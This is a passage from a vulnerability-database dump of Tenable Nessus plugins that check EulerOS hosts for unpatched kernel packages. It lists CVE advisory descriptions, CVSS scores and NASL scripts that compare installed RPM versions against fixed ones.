"#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(142576);\n script_version(\"1.4\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/06\");\n\n script_cve_id(\n \"CVE-2019-19036\",\n \"CVE-2019-20811\",\n \"CVE-2020-0009\",\n \"CVE-2020-10711\",\n \"CVE-2020-10720\",\n \"CVE-2020-10732\",\n \"CVE-2020-10751\",\n \"CVE-2020-10769\",\n \"CVE-2020-12768\",\n \"CVE-2020-13974\",\n \"CVE-2020-15393\",\n \"CVE-2020-16166\",\n \"CVE-2020-24394\",\n \"CVE-2020-25211\"\n );\n\n script_name(english:\"EulerOS Virtualization 3.0.6.6 : kernel (EulerOS-SA-2020-2443)\");\n script_summary(english:\"Checks the rpm output for the updated packages.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote EulerOS Virtualization host is missing multiple security\nupdates.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to the versions of the kernel packages installed, the\nEulerOS Virtualization installation on the remote host is affected by\nthe following vulnerabilities :\n\n - btrfs_root_node in fs/btrfs/ctree.c in the Linux kernel\n through 5.3.12 allows a NULL pointer dereference\n because rcu_dereference(root->node) can be\n zero.(CVE-2019-19036)\n\n - An issue was discovered in the Linux kernel before\n 5.0.6. In rx_queue_add_kobject() and\n netdev_queue_add_kobject() in net/core/net-sysfs.c, a\n reference count is mishandled, aka\n CID-a3e23f719f5c.(CVE-2019-20811)\n\n - In calc_vm_may_flags of ashmem.c, there is a possible\n arbitrary write to shared memory due to a permissions\n bypass. This could lead to local escalation of\n privilege by corrupting memory shared between\n processes, with no additional execution privileges\n needed. User interaction is not needed for\n exploitation. Product: Android Versions: Android kernel\n Android ID: A-142938932(CVE-2020-0009)\n\n - ** DISPUTED ** An issue was discovered in the Linux\n kernel before 5.6. svm_cpu_uninit in arch/x86/kvm/svm.c\n has a memory leak, aka CID-d80b64ff297e. NOTE: third\n parties dispute this issue because it's a one-time leak\n at the boot, the size is negligible, and it can't be\n triggered at will.(CVE-2020-12768)\n\n - ** DISPUTED ** An issue was discovered in the Linux\n kernel through 5.7.1. drivers/tty/vt/keyboard.c has an\n integer overflow if k_ascii is called several times in\n a row, aka CID-b86dab054059. NOTE: Members in the\n community argue that the integer overflow does not lead\n to a security issue in this case.(CVE-2020-13974)\n\n - In the Linux kernel through 5.7.6, usbtest_disconnect\n in drivers/usb/misc/usbtest.c has a memory leak, aka\n CID-28ebeb8db770.(CVE-2020-15393)\n\n - A NULL pointer dereference flaw was found in the Linux\n kernel's SELinux subsystem in versions before 5.7. This\n flaw occurs while importing the Commercial IP Security\n Option (CIPSO) protocol's category bitmap into the\n SELinux extensible bitmap via the'\n ebitmap_netlbl_import' routine. While processing the\n CIPSO restricted bitmap tag in the\n 'cipso_v4_parsetag_rbm' routine, it sets the security\n attribute to indicate that the category bitmap is\n present, even if it has not been allocated. This issue\n leads to a NULL pointer dereference issue while\n importing the same category bitmap into SELinux. This\n flaw allows a remote network user to crash the system\n kernel, resulting in a denial of service(\n CVE-2020-10711)\n\n - A flaw was found in the Linux kernel's implementation\n of Userspace core dumps. This flaw allows an attacker\n with a local account to crash a trivial program and\n exfiltrate private kernel data.(CVE-2020-10732)\n\n - A flaw was found in the Linux kernels SELinux LSM hook\n implementation before version 5.7, where it incorrectly\n assumed that an skb would only contain a single netlink\n message. The hook would incorrectly only validate the\n first netlink message in the skb and allow or deny the\n rest of the messages within the skb with the granted\n permission without further processing.(CVE-2020-10751)\n\n - A buffer over-read flaw was found in RH kernel versions\n before 5.0 in crypto_authenc_extractkeys in\n crypto/authenc.c in the IPsec Cryptographic algorithm's\n module, authenc. When a payload longer than 4 bytes,\n and is not following 4-byte alignment boundary\n guidelines, it causes a buffer over-read threat,\n leading to a system crash. This flaw allows a local\n attacker with user privileges to cause a denial of\n service.(CVE-2020-10769)\n\n - In the Linux kernel before 5.7.8, fs/nfsd/vfs.c (in the\n NFS server) can set incorrect permissions on new\n filesystem objects when the filesystem lacks ACL\n support, aka CID-22cf8419f131. This occurs because the\n current umask is not considered.(CVE-2020-24394)\n\n - The Linux kernel through 5.7.11 allows remote attackers\n to make observations that help to obtain sensitive\n information about the internal state of the network\n RNG, aka CID-f227e3ec3b5c. This is related to\n drivers/char/random.c and\n kernel/time/timer.c.(CVE-2020-16166)\n\n - A flaw was found in the Linux kernel's implementation\n of GRO in versions before 5.2. This flaw allows an\n attacker with local access to crash the\n system.(CVE-2020-10720)\n\n - In the Linux kernel through 5.8.7, local attackers able\n to inject conntrack netlink configuration could\n overflow a local buffer, causing crashes or triggering\n use of incorrect protocol numbers in\n ctnetlink_parse_tuple_filter in\n net/netfilter/nf_conntrack_netlink.c, aka\n CID-1cc5ef91d2ff.(CVE-2020-25211)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the EulerOS security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\");\n # https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2020-2443\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?031994d2\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected kernel packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/11/05\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/11/06\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-headers\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-tools\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-tools-libs\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-tools-libs-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:perf\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:python-perf\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:huawei:euleros:uvp:3.0.6.6\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Huawei Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2020-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/EulerOS/release\", \"Host/EulerOS/rpm-list\", \"Host/EulerOS/uvp_version\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nrelease = get_kb_item(\"Host/EulerOS/release\");\nif (isnull(release) || release !~ \"^EulerOS\") audit(AUDIT_OS_NOT, \"EulerOS\");\nuvp = get_kb_item(\"Host/EulerOS/uvp_version\");\nif (uvp != \"3.0.6.6\") audit(AUDIT_OS_NOT, \"EulerOS Virtualization 3.0.6.6\");\nif (!get_kb_item(\"Host/EulerOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"aarch64\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"EulerOS\", cpu);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_ARCH_NOT, \"i686 / x86_64\", cpu);\n\nflag = 0;\n\npkgs = [\"kernel-3.10.0-862.14.1.6_117\",\n \"kernel-devel-3.10.0-862.14.1.6_117\",\n \"kernel-headers-3.10.0-862.14.1.6_117\",\n \"kernel-tools-3.10.0-862.14.1.6_117\",\n \"kernel-tools-libs-3.10.0-862.14.1.6_117\",\n \"kernel-tools-libs-devel-3.10.0-862.14.1.6_117\",\n \"perf-3.10.0-862.14.1.6_117\",\n \"python-perf-3.10.0-862.14.1.6_117\"];\n\nforeach (pkg in pkgs)\n if (rpm_check(release:\"EulerOS-2.0\", reference:pkg)) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"kernel\");\n}\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-24T20:47:58", "description": "According to the versions of the kernel packages installed, the EulerOS Virtualization for ARM 64 installation on the remote host is affected by the following vulnerabilities :\n\n - In calc_vm_may_flags of ashmem.c, there is a possible arbitrary write to shared memory due to a permissions bypass. This could lead to local escalation of privilege by corrupting memory shared between processes, with no additional execution privileges needed. User interaction is not needed for exploitation. Product: Android Versions: Android kernel Android ID: A-142938932(CVE-2020-0009)\n\n - A flaw was found in the Linux Kernel in versions after 4.5-rc1 in the way mremap handled DAX Huge Pages. This flaw allows a local attacker with access to a DAX enabled storage to escalate their privileges on the system.(CVE-2020-10757)\n\n - go7007_snd_init in drivers/media/usb/go7007/snd-go7007.c in the Linux kernel before 5.6 does not call snd_card_free for a failure path, which causes a memory leak, aka CID-9453264ef586.(CVE-2019-20810)\n\n - In the Android kernel in F2FS driver there is a possible out of bounds read due to a missing bounds check. This could lead to local information disclosure with system execution privileges needed. User interaction is not needed for exploitation.(CVE-2019-9445)\n\n - A flaw was found in the Linux kernels SELinux LSM hook implementation before version 5.7, where it incorrectly assumed that an skb would only contain a single netlink message. The hook would incorrectly only validate the first netlink message in the skb and allow or deny the rest of the messages within the skb with the granted permission without further processing.(CVE-2020-10751)\n\n - An issue was discovered in the Linux kernel before 5.4.7. The prb_calc_retire_blk_tmo() function in net/packet/af_packet.c can result in a denial of service (CPU consumption and soft lockup) in a certain failure case involving TPACKET_V3, aka CID-b43d1f9f7067.(CVE-2019-20812)\n\n - ** DISPUTED ** An issue was discovered in the Linux kernel through 5.7.1. drivers/tty/vt/keyboard.c has an integer overflow if k_ascii is called several times in a row, aka CID-b86dab054059. NOTE: Members in the community argue that the integer overflow does not lead to a security issue in this case.(CVE-2020-13974)\n\n - An issue was discovered in the Linux kernel before 5.0.6. In rx_queue_add_kobject() and netdev_queue_add_kobject() in net/core/net-sysfs.c, a reference count is mishandled, aka CID-a3e23f719f5c.(CVE-2019-20811)\n\n - A flaw was found in the prctl() function, where it can be used to enable indirect branch speculation after it has been disabled. This call incorrectly reports it as being 'force disabled' when it is not and opens the system to Spectre v2 attacks. The highest threat from this vulnerability is to confidentiality.(CVE-2020-10768)\n\n - A flaw was found in the Linux kernel's implementation of the Enhanced IBPB (Indirect Branch Prediction Barrier). The IBPB mitigation will be disabled when STIBP is not available or when the Enhanced Indirect Branch Restricted Speculation (IBRS) is available. This flaw allows a local attacker to perform a Spectre V2 style attack when this configuration is active. The highest threat from this vulnerability is to confidentiality.(CVE-2020-10767)\n\n - A logic bug flaw was found in the Linux kernel's implementation of SSBD. A bug in the logic handling allows an attacker with a local account to disable SSBD protection during a context switch when additional speculative execution mitigations are in place. This issue was introduced when the per task/process conditional STIPB switching was added on top of the existing SSBD switching. The highest threat from this vulnerability is to confidentiality.(CVE-2020-10766)\n\n - A new domain bypass transient execution attack known as Special Register Buffer Data Sampling (SRBDS) has been found. This flaw allows data values from special internal registers to be leaked by an attacker able to execute code on any core of the CPU. An unprivileged, local attacker can use this flaw to infer values returned by affected instructions known to be commonly used during cryptographic operations that rely on uniqueness, secrecy, or both.(CVE-2020-0543)\n\n - In the Linux kernel before 5.4.16, a race condition in tty->disc_data handling in the slip and slcan line discipline could lead to a use-after-free, aka CID-0ace17d56824. This affects drivers/net/slip/slip.c and drivers/net/can/slcan.c.(CVE-2020-14416)\n\n - The flow_dissector feature in the Linux kernel 4.3 through 5.x before 5.3.10 has a device tracking vulnerability, aka CID-55667441c84f. This occurs because the auto flowlabel of a UDP IPv6 packet relies on a 32-bit hashrnd value as a secret, and because jhash (instead of siphash) is used. The hashrnd value remains the same starting from boot time, and can be inferred by an attacker. This affects net/core/flow_dissector.c and related code.(CVE-2019-18282)\n\n - The VFIO PCI driver in the Linux kernel through 5.6.13 mishandles attempts to access disabled memory space.(CVE-2020-12888)\n\n - In the Linux kernel through 5.7.6, usbtest_disconnect in drivers/usb/misc/usbtest.c has a memory leak, aka CID-28ebeb8db770.(CVE-2020-15393)\n\n - A flaw was found in the ZRAM kernel module, where a user with a local account and the ability to read the /sys/class/zram-control/hot_add file can create ZRAM device nodes in the /dev/ directory. This read allocates kernel memory and is not accounted for a user that triggers the creation of that ZRAM device. With this vulnerability, continually reading the device may consume a large amount of system memory and cause the Out-of-Memory (OOM) killer to activate and terminate random userspace processes, possibly making the system inoperable.(CVE-2020-10781)\n\nNote that Tenable Network Security has extracted the preceding description block directly from the EulerOS security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {"score": 7.8, "vector": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}, "published": "2020-08-28T00:00:00", "type": "nessus", "title": "EulerOS Virtualization for ARM 64 3.0.6.0 : kernel (EulerOS-SA-2020-1892)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-18282", "CVE-2019-20810", "CVE-2019-20811", "CVE-2019-20812", "CVE-2019-9445", "CVE-2020-0009", "CVE-2020-0543", "CVE-2020-10751", "CVE-2020-10757", "CVE-2020-10766", "CVE-2020-10767", "CVE-2020-10768", "CVE-2020-10781", "CVE-2020-12888", "CVE-2020-13974", "CVE-2020-14416", "CVE-2020-15393"], "modified": "2021-01-06T00:00:00", "cpe": ["p-cpe:/a:huawei:euleros:kernel", "p-cpe:/a:huawei:euleros:kernel-devel", "p-cpe:/a:huawei:euleros:kernel-headers", "p-cpe:/a:huawei:euleros:kernel-tools", "p-cpe:/a:huawei:euleros:kernel-tools-libs", "p-cpe:/a:huawei:euleros:kernel-tools-libs-devel", "p-cpe:/a:huawei:euleros:perf", "p-cpe:/a:huawei:euleros:python-perf", "p-cpe:/a:huawei:euleros:python3-perf", "cpe:/o:huawei:euleros:uvp:3.0.6.0"], "id": "EULEROS_SA-2020-1892.NASL", "href": "https://www.tenable.com/plugins/nessus/139995", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(139995);\n script_version(\"1.4\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/06\");\n\n script_cve_id(\n \"CVE-2019-18282\",\n \"CVE-2019-20810\",\n \"CVE-2019-20811\",\n \"CVE-2019-20812\",\n \"CVE-2019-9445\",\n \"CVE-2020-0009\",\n \"CVE-2020-0543\",\n \"CVE-2020-10751\",\n \"CVE-2020-10757\",\n \"CVE-2020-10766\",\n \"CVE-2020-10767\",\n \"CVE-2020-10768\",\n \"CVE-2020-10781\",\n \"CVE-2020-12888\",\n \"CVE-2020-13974\",\n \"CVE-2020-14416\",\n \"CVE-2020-15393\"\n );\n\n script_name(english:\"EulerOS Virtualization for ARM 64 3.0.6.0 : kernel (EulerOS-SA-2020-1892)\");\n script_summary(english:\"Checks the rpm output for the updated packages.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote EulerOS Virtualization for ARM 64 host is missing multiple security\nupdates.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to the versions of the kernel packages installed, the\nEulerOS Virtualization for ARM 64 installation on the remote host is\naffected by the following vulnerabilities :\n\n - In calc_vm_may_flags of ashmem.c, there is a possible\n arbitrary write to shared memory due to a permissions\n bypass. This could lead to local escalation of\n privilege by corrupting memory shared between\n processes, with no additional execution privileges\n needed. User interaction is not needed for\n exploitation. Product: Android Versions: Android kernel\n Android ID: A-142938932(CVE-2020-0009)\n\n - A flaw was found in the Linux Kernel in versions after\n 4.5-rc1 in the way mremap handled DAX Huge Pages. This\n flaw allows a local attacker with access to a DAX\n enabled storage to escalate their privileges on the\n system.(CVE-2020-10757)\n\n - go7007_snd_init in\n drivers/media/usb/go7007/snd-go7007.c in the Linux\n kernel before 5.6 does not call snd_card_free for a\n failure path, which causes a memory leak, aka\n CID-9453264ef586.(CVE-2019-20810)\n\n - In the Android kernel in F2FS driver there is a\n possible out of bounds read due to a missing bounds\n check. This could lead to local information disclosure\n with system execution privileges needed. User\n interaction is not needed for\n exploitation.(CVE-2019-9445)\n\n - A flaw was found in the Linux kernels SELinux LSM hook\n implementation before version 5.7, where it incorrectly\n assumed that an skb would only contain a single netlink\n message. The hook would incorrectly only validate the\n first netlink message in the skb and allow or deny the\n rest of the messages within the skb with the granted\n permission without further processing.(CVE-2020-10751)\n\n - An issue was discovered in the Linux kernel before\n 5.4.7. The prb_calc_retire_blk_tmo() function in\n net/packet/af_packet.c can result in a denial of\n service (CPU consumption and soft lockup) in a certain\n failure case involving TPACKET_V3, aka\n CID-b43d1f9f7067.(CVE-2019-20812)\n\n - ** DISPUTED ** An issue was discovered in the Linux\n kernel through 5.7.1. drivers/tty/vt/keyboard.c has an\n integer overflow if k_ascii is called several times in\n a row, aka CID-b86dab054059. NOTE: Members in the\n community argue that the integer overflow does not lead\n to a security issue in this case.(CVE-2020-13974)\n\n - An issue was discovered in the Linux kernel before\n 5.0.6. In rx_queue_add_kobject() and\n netdev_queue_add_kobject() in net/core/net-sysfs.c, a\n reference count is mishandled, aka\n CID-a3e23f719f5c.(CVE-2019-20811)\n\n - A flaw was found in the prctl() function, where it can\n be used to enable indirect branch speculation after it\n has been disabled. This call incorrectly reports it as\n being 'force disabled' when it is not and opens the\n system to Spectre v2 attacks. The highest threat from\n this vulnerability is to\n confidentiality.(CVE-2020-10768)\n\n - A flaw was found in the Linux kernel's implementation\n of the Enhanced IBPB (Indirect Branch Prediction\n Barrier). The IBPB mitigation will be disabled when\n STIBP is not available or when the Enhanced Indirect\n Branch Restricted Speculation (IBRS) is available. This\n flaw allows a local attacker to perform a Spectre V2\n style attack when this configuration is active. The\n highest threat from this vulnerability is to\n confidentiality.(CVE-2020-10767)\n\n - A logic bug flaw was found in the Linux kernel's\n implementation of SSBD. A bug in the logic handling\n allows an attacker with a local account to disable SSBD\n protection during a context switch when additional\n speculative execution mitigations are in place. This\n issue was introduced when the per task/process\n conditional STIPB switching was added on top of the\n existing SSBD switching. The highest threat from this\n vulnerability is to confidentiality.(CVE-2020-10766)\n\n - A new domain bypass transient execution attack known as\n Special Register Buffer Data Sampling (SRBDS) has been\n found. This flaw allows data values from special\n internal registers to be leaked by an attacker able to\n execute code on any core of the CPU. An unprivileged,\n local attacker can use this flaw to infer values\n returned by affected instructions known to be commonly\n used during cryptographic operations that rely on\n uniqueness, secrecy, or both.(CVE-2020-0543)\n\n - In the Linux kernel before 5.4.16, a race condition in\n tty->disc_data handling in the slip and slcan line\n discipline could lead to a use-after-free, aka\n CID-0ace17d56824. This affects drivers/net/slip/slip.c\n and drivers/net/can/slcan.c.(CVE-2020-14416)\n\n - The flow_dissector feature in the Linux kernel 4.3\n through 5.x before 5.3.10 has a device tracking\n vulnerability, aka CID-55667441c84f. This occurs\n because the auto flowlabel of a UDP IPv6 packet relies\n on a 32-bit hashrnd value as a secret, and because\n jhash (instead of siphash) is used. The hashrnd value\n remains the same starting from boot time, and can be\n inferred by an attacker. This affects\n net/core/flow_dissector.c and related\n code.(CVE-2019-18282)\n\n - The VFIO PCI driver in the Linux kernel through 5.6.13\n mishandles attempts to access disabled memory\n space.(CVE-2020-12888)\n\n - In the Linux kernel through 5.7.6, usbtest_disconnect\n in drivers/usb/misc/usbtest.c has a memory leak, aka\n CID-28ebeb8db770.(CVE-2020-15393)\n\n - A flaw was found in the ZRAM kernel module, where a\n user with a local account and the ability to read the\n /sys/class/zram-control/hot_add file can create ZRAM\n device nodes in the /dev/ directory. This read\n allocates kernel memory and is not accounted for a user\n that triggers the creation of that ZRAM device. With\n this vulnerability, continually reading the device may\n consume a large amount of system memory and cause the\n Out-of-Memory (OOM) killer to activate and terminate\n random userspace processes, possibly making the system\n inoperable.(CVE-2020-10781)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the EulerOS security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\");\n # https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2020-1892\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?210b9b25\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected kernel packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/08/28\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/08/28\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-headers\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-tools\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-tools-libs\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-tools-libs-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:perf\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:python-perf\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:python3-perf\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:huawei:euleros:uvp:3.0.6.0\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Huawei Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2020-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/EulerOS/release\", \"Host/EulerOS/rpm-list\", \"Host/EulerOS/uvp_version\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nrelease = get_kb_item(\"Host/EulerOS/release\");\nif (isnull(release) || release !~ \"^EulerOS\") audit(AUDIT_OS_NOT, \"EulerOS\");\nuvp = get_kb_item(\"Host/EulerOS/uvp_version\");\nif (uvp != \"3.0.6.0\") audit(AUDIT_OS_NOT, \"EulerOS Virtualization 3.0.6.0\");\nif (!get_kb_item(\"Host/EulerOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"aarch64\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"EulerOS\", cpu);\nif (\"aarch64\" >!< cpu) audit(AUDIT_ARCH_NOT, \"aarch64\", cpu);\n\nflag = 0;\n\npkgs = [\"kernel-4.19.36-vhulk1907.1.0.h799.eulerosv2r8\",\n \"kernel-devel-4.19.36-vhulk1907.1.0.h799.eulerosv2r8\",\n \"kernel-headers-4.19.36-vhulk1907.1.0.h799.eulerosv2r8\",\n \"kernel-tools-4.19.36-vhulk1907.1.0.h799.eulerosv2r8\",\n \"kernel-tools-libs-4.19.36-vhulk1907.1.0.h799.eulerosv2r8\",\n \"kernel-tools-libs-devel-4.19.36-vhulk1907.1.0.h799.eulerosv2r8\",\n \"perf-4.19.36-vhulk1907.1.0.h799.eulerosv2r8\",\n \"python-perf-4.19.36-vhulk1907.1.0.h799.eulerosv2r8\",\n \"python3-perf-4.19.36-vhulk1907.1.0.h799.eulerosv2r8\"];\n\nforeach (pkg in pkgs)\n if (rpm_check(release:\"EulerOS-2.0\", reference:pkg)) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"kernel\");\n}\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-24T20:55:10", "description": "According to the versions of the kernel packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities :\n\n - The kernel package contains the Linux kernel (vmlinuz), the core of any Linux operating system. The kernel handles the basic functions of the operating system:\n memory allocation, process allocation, device input and output, etc.Security Fix(es):An issue was discovered in the Linux kernel before 5.2. There is a NULL pointer dereference in tw5864_handle_frame() in drivers/media/pci/tw5864/tw5864-video.c, which may cause denial of service, aka CID-2e7682ebfc75.(CVE-2019-20806)A flaw was found in the ZRAM kernel module, where a user with a local account and the ability to read the /sys/class/zram-control/hot_add file can create ZRAM device nodes in the /dev/ directory. This read allocates kernel memory and is not accounted for a user that triggers the creation of that ZRAM device. With this vulnerability, continually reading the device may consume a large amount of system memory and cause the Out-of-Memory (OOM) killer to activate and terminate random userspace processes, possibly making the system inoperable.(CVE-2020-10781)In the Linux kernel before 5.4.16, a race condition in tty->disc_data handling in the slip and slcan line discipline could lead to a use-after-free, aka CID-0ace17d56824. This affects drivers/ net/slip/slip.c and drivers/ net/can/slcan.c.(CVE-2020-14416)The VFIO PCI driver in the Linux kernel through 5.6.13 mishandles attempts to access disabled memory space.(CVE-2020-12888)The flow_dissector feature in the Linux kernel 4.3 through 5.x before 5.3.10 has a device tracking vulnerability, aka CID-55667441c84f. This occurs because the auto flowlabel of a UDP IPv6 packet relies on a 32-bit hashrnd value as a secret, and because jhash (instead of siphash) is used. The hashrnd value remains the same starting from boot time, and can be inferred by an attacker. This affects net/core/flow_dissector.c and related code.(CVE-2019-18282)In the Linux kernel through 5.7.6, usbtest_disconnect in drivers/usb/misc/usbtest.c has a memory leak, aka CID-28ebeb8db770.(CVE-2020-15393)An issue was discovered in the Linux kernel before 5.0.6. In rx_queue_add_kobject() and netdev_queue_add_kobject() in net/core/ net-sysfs.c, a reference count is mishandled, aka CID-a3e23f719f5c.(CVE-2019-20811)A flaw was found in the Linux kernels SELinux LSM hook implementation before version 5.7, where it incorrectly assumed that an skb would only contain a single netlink message. The hook would incorrectly only validate the first netlink message in the skb and allow or deny the rest of the messages within the skb with the granted permission without further processing.(CVE-2020-10751)In the Android kernel in F2FS driver there is a possible out of bounds read due to a missing bounds check. This could lead to local information disclosure with system execution privileges needed. User interaction is not needed for exploitation.(CVE-2019-9445)A flaw was found in the Linux kernel's implementation of Userspace core dumps.\n This flaw allows an attacker with a local account to crash a trivial program and exfiltrate private kernel data.(CVE-2020-10732)go7007_snd_init in drivers/media/usb/go7007/snd-go7007.c in the Linux kernel before 5.6 does not call snd_card_free for a failure path, which causes a memory leak, aka CID-9453264ef586.(CVE-2019-20810)Legacy pairing and secure-connections pairing authentication in Bluetooth(r) BR/EDR Core Specification v5.2 and earlier may allow an unauthenticated user to complete authentication without pairing credentials via adjacent access. An unauthenticated, adjacent attacker could impersonate a Bluetooth BR/EDR master or slave to pair with a previously paired remote device to successfully complete the authentication procedure without knowing the link key.(CVE-2020-10135)An issue was discovered in the Linux kernel before 5.4.7. The prb_calc_retire_blk_tmo() function in net/packet/af_packet.c can result in a denial of service (CPU consumption and soft lockup) in a certain failure case involving TPACKET_V3, aka CID-b43d1f9f7067.(CVE-2019-20812)An issue was discovered in the Linux kernel through 5.7.1.\n drivers/tty/vt/keyboard.c has an integer overflow if k_ascii 